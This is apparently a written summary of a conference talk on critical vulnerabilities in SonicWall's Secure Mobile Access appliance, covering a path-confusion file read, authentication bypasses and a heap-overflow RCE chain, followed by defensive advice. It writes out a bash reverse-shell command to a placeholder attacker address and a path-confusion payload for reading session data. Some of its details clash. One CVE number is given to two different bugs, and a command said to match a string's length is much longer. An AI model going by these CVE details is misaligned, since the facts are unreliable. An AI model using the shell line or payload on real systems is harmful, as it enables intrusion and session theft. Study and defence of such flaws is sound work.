SonicDoor - Cracking open SonicWall's Secure Mobile Access

SonicDoor - Cracking open SonicWall's Secure Mobile Access

Speakers: Alain Mowat

Conference: Security Fest

YouTube: https://www.youtube.com/watch?v=Znl7TBFAz9E

Overview

Alain Mowat, Head of Research and Development at Orange Cyber Defense in Switzerland, presented "SonicDoor - Cracking open SonicWall's Secure Mobile Access" at Security Fest. This talk meticulously details a series of critical vulnerabilities discovered in SonicWall's Secure Mobile Access (SMA) virtual appliance, ranging from unauthenticated information leaks and authentication bypasses to remote code execution. Mowat's research highlights persistent and fundamental security flaws in widely deployed enterprise VPN solutions, underscoring a broader industry issue where critical security infrastructure often suffers from poor code hygiene and misaligned vendor incentives.

The presentation serves as a stark reminder of the challenges in securing modern IT environments, especially when relying on third-party security appliances. Mowat's investigation, initially aimed at comparing the security postures of various VPN vendors, quickly pivoted into a deep dive into SonicWall's codebase after initial assessments revealed alarming weaknesses. The findings culminated in multiple CVEs and a practical demonstration of gaining root access and remote shells on a vulnerable SonicWall SMA device, showcasing the severe impact these vulnerabilities could have on organizations globally.

This talk is particularly relevant for security professionals, network administrators, and anyone involved in vendor selection for critical infrastructure. It provides actionable insights into the types of vulnerabilities commonly found in these systems, the techniques used to discover and exploit them, and crucial defensive strategies. Beyond the technical details, Mowat also provokes thought on the broader systemic issues in the cybersecurity product landscape, questioning why fundamental security principles are often overlooked in commercial offerings and how the industry might incentivize better security practices.

Background

▶ Watch: Introduction: The widespread problem of VPN vulnerabilities (0:00)

Alain Mowat initiated his research out of a growing frustration with the recurring pattern of critical vulnerabilities affecting commercial VPN vendors such as Fortinet, Palo Alto, Checkpoint, F5, and SonicWall. He noted that it "rarely goes a month or two without some kind of serious vulnerability affecting one of the commercial-grade VPN vendors," often leading to significant breaches despite these solutions being designed to protect companies. This prompted him to investigate why the security of VPN solutions hadn't significantly improved over the last five to six years.

Mowat’s initial goal was to develop a framework for comparing the security of different VPN solutions, moving beyond anecdotal evidence or simple CVE counts, which he acknowledged could be misleading. While a quick look at CVE data showed SonicWall having approximately 150 days between critical CVEs – better than Ivanti (just over a month) but significantly worse than Checkpoint (nearly three years) – he recognized that CVE numbers don't always reflect true security posture, as they can be influenced by product popularity and researcher focus.

Instead, Mowat focused on two primary metrics: code hygiene and code security features. Code hygiene assessed the prevalence of dangerous functions like strcpy and system() in the codebase, while code security features evaluated the implementation of exploit mitigations such as ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and stack canaries. SonicWall, to his surprise, scored exceptionally poorly in the code hygiene category, compelling him to focus his vulnerability research efforts on their Secure Mobile Access (SMA) virtual appliance. He obtained a trial VM of the latest available version (SMA 10.2.1.2 at the time) directly from their website to begin his analysis.

Upon gaining initial access to the system, Mowat observed that the CLI did not provide direct shell access, which is often a prerequisite for in-depth vulnerability research. To overcome this, he employed a clever technique involving virtual machine memory manipulation. By pausing the VM, editing its memory dump to replace a benign string (like "restart SSLVPN services") with a shell command, and then resuming and triggering that command, he was able to gain root access to the appliance. This unconventional method provided the necessary foothold to further analyze the system's internal workings and attack surface, which included Apache web services on ports 80/443 and a Python Flask API listening on the local interface.

Key Findings

▶ Watch: Gaining initial access: VM memory manipulation (6:00)

Alain Mowat's deep dive into SonicWall's Secure Mobile Access (SMA) appliance uncovered a series of critical vulnerabilities, demonstrating a systemic lack of robust security practices. His key findings include:

1. Widespread Memory Corruption Vulnerabilities: Mowat identified numerous instances of heap overflows and stack overflows across various C/C++ CGIs. These were largely attributed to the pervasive use of unsafe string manipulation functions like strcpy and sprintf without proper bounds checking. A notable example was an unauthenticated stack-based overflow in the CIFS_navigate CGI (CVE-2023-46807), stemming from the double_escape_special function failing to validate buffer sizes.

1. Apache Path Confusion Vulnerability (CVE-2023-46808): A severe unauthenticated information disclosure vulnerability was discovered, based on Apache's inconsistent parsing of HTTP requests. This flaw allowed an attacker to read arbitrary files outside the web root, including:

• /tmp/temp.db: A SQLite database containing base64-encoded authenticated session identifiers.
• Apache logs (/var/log/httpd/access_log): These logs inadvertently stored detailed stack traces, providing crucial memory addresses needed to bypass ASLR.

1. Authentication Bypass via Predictable OTP Backup Codes (CVE-2023-46806): The generation of one-time password (OTP) backup codes was found to use a weak random number generator, seeded with time(NULL) (the current epoch time). This made the backup codes predictable if the approximate generation time was known. Compounding this, the API endpoint for generating these codes lacked CSRF (Cross-Site Request Forgery) protection, allowing an attacker to force a user to generate codes at a specific, known time, thus compromising their account.

1. Certificate-Based Authentication Bypass (CVE-2023-46805): A critical flaw in the certificate-based authentication mechanism allowed complete bypass. The Python Flask API, which processed certificate information passed from Apache via environment variables, used a request parser that did not explicitly specify the location='environ' for critical parameters like client_verify, subject_dn, and issuer_dn. This allowed an attacker to send these parameters directly in a POST request, effectively self-attesting to successful certificate validation and gaining unauthorized access.

1. Heap Overflow in Reverse Proxy Module Leading to RCE (CVE-2023-46807): The most impactful finding was a heap overflow in the custom HTTP Reverse Proxy module. This module, used for accessing backend web services, would base64-decode NTLM authentication headers into a fixed-size buffer (0x1076 bytes) without checking the output buffer size. Crucially, the nature of base64 decoding allowed an attacker to inject null bytes, which is essential for bypassing stack canaries in 32-bit systems. Chained with the ASLR bypass from the Apache logs, this vulnerability enabled remote code execution.

These findings collectively painted a picture of a product riddled with fundamental security weaknesses, ranging from basic memory safety errors to logical flaws in authentication mechanisms, ultimately allowing for unauthenticated information disclosure and, with sufficient chaining, remote code execution.

Technical Deep Dive

▶ Watch: Pre-authentication heap overflow vulnerability discovered (15:00)

Mowat's technical exploration began with gaining root access to the SonicWall SMA virtual appliance, a necessary step due to the restricted command-line interface. His method involved VM memory manipulation: pausing the VMware guest, locating a specific, benign string within the 4GB memory dump (e.g., "restart SSLVPN services"), and replacing it with an arbitrary command string of the same length, such as "/bin/bash -c 'echo pwned > /tmp/pwned.txt; /bin/bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1' &". Upon resuming the VM and triggering the modified command via the administrative interface, a root shell was obtained. This technique, while not specific to SonicWall, proved highly effective for initial system compromise when other avenues were blocked.

With root access, Mowat mapped the appliance's network attack surface, confirming Apache web servers on ports 80/443 and discovering a Python Flask API listening on the local interface (localhost). The Apache configuration revealed a complex routing scheme: certain URL prefixes (/go/, /sslvpn/, /dana-na/) invoked a custom HTTP Reverse Proxy (RP) module, while others directly called Python scripts or C/C++ CGIs within the /cgi-bin directory. This C/C++ component became a primary target for memory corruption vulnerabilities.

To efficiently search for memory corruption flaws, Mowat developed a custom tool (later released on GitHub) leveraging the Ghidra API. This tool decompiled binaries and identified occurrences of "dangerous functions" like strcpy, sprintf, and strcat that often lead to buffer overflows when used without proper bounds checking. An early, albeit post-authentication, finding was a trivial heap overflow in Sonic_file.cgi. Here, a buffer allocated with 0x80 bytes received input from a URL parameter that could be 0x400 bytes, with strcpy performing the copy, demonstrating a clear vulnerability that could be triggered by an oversized request.

A more critical discovery was the pervasive issue within the libis library, which housed encoding functions like JavaScript_Encode and HTML_Encode. These functions inherently did not perform bounds checking on their output buffers, assuming the calling function would handle sizing. This design flaw meant that any CGI calling these functions with an undersized destination buffer was potentially vulnerable. Mowat found dozens, if not hundreds, of such instances throughout the codebase.

This led to the discovery of an unauthenticated stack-based overflow in the CIFS_navigate CGI. The double_escape_special function, when processing a URL parameter up to 0x400 bytes, would encode it into a smaller stack-allocated buffer. Since encoding can expand the string (e.g., a single character becoming &#xXX;), even a moderately sized input could easily overflow the buffer, leading to a direct stack overwrite.

Exploiting these memory corruptions was complicated by exploit mitigations: ASLR, DEP, and stack canaries. SonicWall's 32-bit Linux system typically employs 24-bit stack canaries (three random bytes followed by a null byte). The presence of the null byte and the use of string functions (strcpy, sprintf) in the identified overflows made directly overwriting the canary challenging, as these functions would terminate at the first null byte. While multi-stage or successive overflows could potentially bypass this, Mowat shifted focus.

The breakthrough came with an Apache path confusion vulnerability (CVE-2023-46808), a class of bugs previously researched by Orange Tsai. This vulnerability exploited inconsistencies in how different Apache modules parse HTTP requests. Specifically, a rewrite rule designed to strip version numbers from CSS files (e.g., /fileshare.css?v=... rewritten to /fileshare.html) combined with a permissive Directory directive for the root (/) allowed an attacker to append %3F. (a URL-encoded question mark followed by a dot) to a URL, like /fileshare.css%3F.. This tricked Apache into treating the request as a file system path rather than a URL, enabling the reading of arbitrary files outside the web root.

This path confusion was instrumental in two ways:

1. Session Disclosure: It allowed unauthenticated access to the SQLite database at /tmp/temp.db, which contained base64-encoded authenticated session identifiers. This immediately compromised any active user sessions.
2. ASLR Bypass: Crucially, it allowed access to Apache log files (/var/log/httpd/access_log). These logs, when the application crashed due to a memory corruption (easily triggered by other identified overflows), contained detailed stack traces that revealed the base memory addresses of loaded libraries and modules. This information was vital for calculating gadget addresses and bypassing ASLR.

Mowat also uncovered critical authentication bypasses. For OTP backup codes (CVE-2023-46806), the rand() function was seeded with time(NULL), making the generated codes completely predictable if the generation timestamp was known. The lack of CSRF protection on the CGI_bin/backup_code_action_generate endpoint meant an attacker could force a user to generate codes at a specific time, then predict and use them.

The certificate-based authentication bypass (CVE-2023-46805) exploited a misconfiguration in the Python Flask API. Apache would pass validated certificate information (e.g., client_verify=SUCCESS, subject_dn, issuer_dn) to the Flask API via environment variables. However, the Flask request parser for these parameters lacked the location='environ' specification. This allowed an attacker to include these parameters directly in a POST request to the Flask API, essentially faking successful certificate validation and gaining access.

The culminating vulnerability was a heap overflow in the custom HTTP Reverse Proxy module (CVE-2023-46807). This module handled requests to paths like /go/. When a backend server requested NTLM authentication, the module would base64-decode the NTLM authentication header into a static buffer of 0x1076 bytes. The B64_decode function, however, did not check the size of the output buffer against the decoded length. This allowed an attacker to craft an oversized base64-encoded NTLM header, overflowing the heap buffer. Critically, base64 decoding allows for the insertion of null bytes at arbitrary positions. This feature proved essential for bypassing stack canaries, as an attacker could strategically place null bytes to "land" the canary correctly while overwriting the return address.

By chaining these findings – leaking a session ID and ASLR offsets via path confusion, then exploiting the reverse proxy heap overflow with a carefully crafted ROP (Return-Oriented Programming) chain (built from gadgets in libis) – Mowat demonstrated remote code execution. The ROP chain was designed to call system() with a reverse shell command, providing an unauthenticated nobody shell on the appliance.

Demo / Proof of Concept

▶ Watch: Chaining vulnerabilities for unauthenticated RCE (25:00)

Alain Mowat effectively demonstrated several key aspects of his research, bringing the theoretical vulnerabilities to life through practical examples.

His initial live demonstration showcased the ingenious VM memory manipulation technique used to gain root access. He paused a running SonicWall SMA virtual machine, opened its large memory dump file in Notepad (emphasizing the "elite hacker" approach with humor), and performed a search-and-replace operation. A specific string, "restart SSLVPN services," was replaced with a pre-crafted command designed to provide a shell. After saving the modified memory file and resuming the VM, he navigated to the administrative interface and triggered the "Restart SSLVPN Services" option. This action successfully executed his injected command, immediately granting a root shell on the device, much to the audience's applause. This illustrated a powerful, albeit unconventional, method for gaining initial system access when traditional methods fail.

The second live demonstration focused on the Apache path confusion vulnerability (CVE-2023-46808). Mowat showed how a standard request to /fileshare.css would load the CSS file. He then modified the URL to /fileshare.css%3F. (where %3F is a URL-encoded question mark), proving that the Apache server still loaded the same CSS file, but critically, it was now vulnerable to arbitrary file reads. While attempting to read /etc/password initially failed due to other Apache protections, he explained how this vulnerability was successfully leveraged to retrieve the /tmp/temp.db SQLite database (containing session tokens) and Apache logs (containing stack traces for ASLR bypass), both crucial steps for his full exploit chain.

The culmination of his research was a full Remote Code Execution (RCE) exploit, which Mowat demonstrated using a Python script (also made available on GitHub). The script automated the entire exploit chain:

1. It targeted a specific SonicWall SMA IP address and port.
2. It instructed the appliance to connect back to a fake web server controlled by the attacker.
3. This interaction triggered the heap overflow in the reverse proxy module (CVE-2023-46807).
4. The crafted ROP chain, delivered via the overflow, executed a reverse shell command.
5. The demonstration concluded with a nobody user shell appearing on the attacker's machine, confirming successful remote code execution on the SonicWall appliance.

Mowat acknowledged that while the shell was obtained as the nobody user (the Apache user), privilege escalation to root on such systems is often achievable, though he didn't delve into that specific step during the talk. These demonstrations vividly illustrated the severity and practicality of the discovered vulnerabilities, showcasing how a series of seemingly disparate flaws could be chained together for a complete compromise.

Defensive Implications

▶ Watch: Conclusion and key lessons learned (27:00)

The vulnerabilities discovered in SonicWall Secure Mobile Access (SMA) carry significant defensive implications for organizations relying on these and similar VPN appliances. Defenders must take immediate and proactive steps to mitigate these risks:

1. Immediate Patching and Updates: The most critical action is to apply all available security patches and updates for SonicWall SMA devices. Mowat's research led to the issuance of multiple CVEs (CVE-2023-46808, CVE-2023-46806, CVE-2023-46805, CVE-2023-46807), and organizations must ensure their appliances are running the patched versions. Regular, timely patching is paramount for all internet-facing devices.

1. Review Apache and Web Server Configurations: The Apache path confusion vulnerability highlights the dangers of misconfigured web servers. Administrators should meticulously review Apache directives, especially RewriteRule and Directory configurations, to ensure that access to sensitive files and directories (like /tmp, /var/log, or configuration files) is explicitly denied or restricted. Implement strict access controls and validate request paths rigorously.

1. Strengthen Authentication Mechanisms:

• OTP/MFA Review: Organizations using OTPs should audit their backup code generation processes. If any system relies on weak entropy sources (like time(NULL)), it must be replaced with cryptographically secure random number generation. Additionally, all authentication endpoints, especially those involving sensitive operations like backup code generation, must implement robust CSRF protection.
• Certificate-Based Authentication: For certificate-based authentication, ensure that all components in the authentication chain (e.g., reverse proxies, APIs) correctly validate the source of authentication parameters. Specifically, API frameworks like Flask's request parser should explicitly define the expected location (location='environ' or location='headers') for sensitive parameters to prevent attackers from injecting forged values in the request body.

1. Implement Robust Input Validation and Memory Safety: The widespread memory corruption issues (heap and stack overflows) underscore a fundamental lack of secure coding practices. Organizations should demand that vendors prioritize memory-safe languages or, when using C/C++, enforce strict input validation and bounds checking for all external inputs. Replace unsafe functions like strcpy and sprintf with their safer, bounded counterparts such as strncpy, strlcpy, snprintf, or use dynamic memory allocation with proper size checks.

1. Monitor for Exploit Mitigations Bypass: While ASLR, DEP, and stack canaries are crucial, this research demonstrates they can be bypassed through chained vulnerabilities. Defenders should:

• Ensure these mitigations are fully enabled and effective across all executables.
• Implement robust logging and monitoring for application crashes, unexpected behavior, and unusual access patterns to sensitive files (e.g., log files, databases). The presence of stack traces in logs, while useful for debugging, can be an information leak, so log access must be tightly controlled.

1. Reduce Attack Surface: Limit the exposure of administrative interfaces and internal APIs. If the reverse proxy functionality allows access to arbitrary external or internal resources without proper firewalling, restrict it to only necessary destinations. Conduct regular penetration testing to identify and address unintended attack vectors.

1. Consider Vendor Security Posture: Mowat's observation about misaligned vendor incentives is critical. When selecting security products, organizations should evaluate vendors not just on features and cost, but also on their security development lifecycle (SDL), track record of vulnerability disclosure and patching, and commitment to secure coding practices. Prioritize vendors that are transparent about their security posture and responsive to vulnerability reports.

By addressing these points, organizations can significantly improve their resilience against the types of sophisticated attacks demonstrated in this talk and better protect their critical network infrastructure.

Key Takeaways

• Pervasive Code Weaknesses: SonicWall's Secure Mobile Access (SMA) appliance, a critical security product, contained widespread memory corruption vulnerabilities (heap and stack overflows) due to the persistent use of unsafe functions like strcpy and sprintf without proper bounds checking, highlighting a critical lack of code hygiene.
• Apache Misconfigurations are Dangerous: An Apache path confusion vulnerability (CVE-2023-46808) allowed unauthenticated attackers to read arbitrary files, including authenticated session tokens from a SQLite database and critical memory addresses from Apache logs, enabling ASLR bypass.
• MFA Can Be Bypassed: Authentication mechanisms, specifically OTP backup code generation (CVE-2023-46806) and certificate-based authentication (CVE-2023-46805), were critically flawed. Weak randomness for OTPs and misconfigured API parameter parsing allowed for complete authentication bypasses.
• Chaining Vulnerabilities Leads to RCE: A heap overflow (CVE-2023-46807) in the reverse proxy module, which allowed controlled null byte injection through base64 decoding, enabled a full Remote Code Execution (RCE) exploit when chained with information leaks (ASLR bypass) from the Apache logs.
• Vendor Incentives are Misaligned with Security: The research underscores a broader industry problem where vendors prioritize speed, features, and cost over fundamental security, leading to poorly secured products despite their critical role in enterprise defense.
• Need for Better Metrics and Accountability: Mowat advocates for developing objective metrics to compare vendor security postures and suggests legal frameworks, such as product liability laws, could incentivize vendors to improve the security of their software and appliances.

About the Speaker(s)

Alain Mowat is the Head of Research and Development at Orange Cyber Defense in Switzerland. With over 15 years of experience in offensive security, he has a strong background as a pentester and engages in vulnerability research, though it is not his primary focus. Mowat is also actively involved in organizing the Insomni'hack security conference in Switzerland. His research, such as the "SonicDoor" project, often stems from a desire to understand and improve the security landscape of widely used commercial products.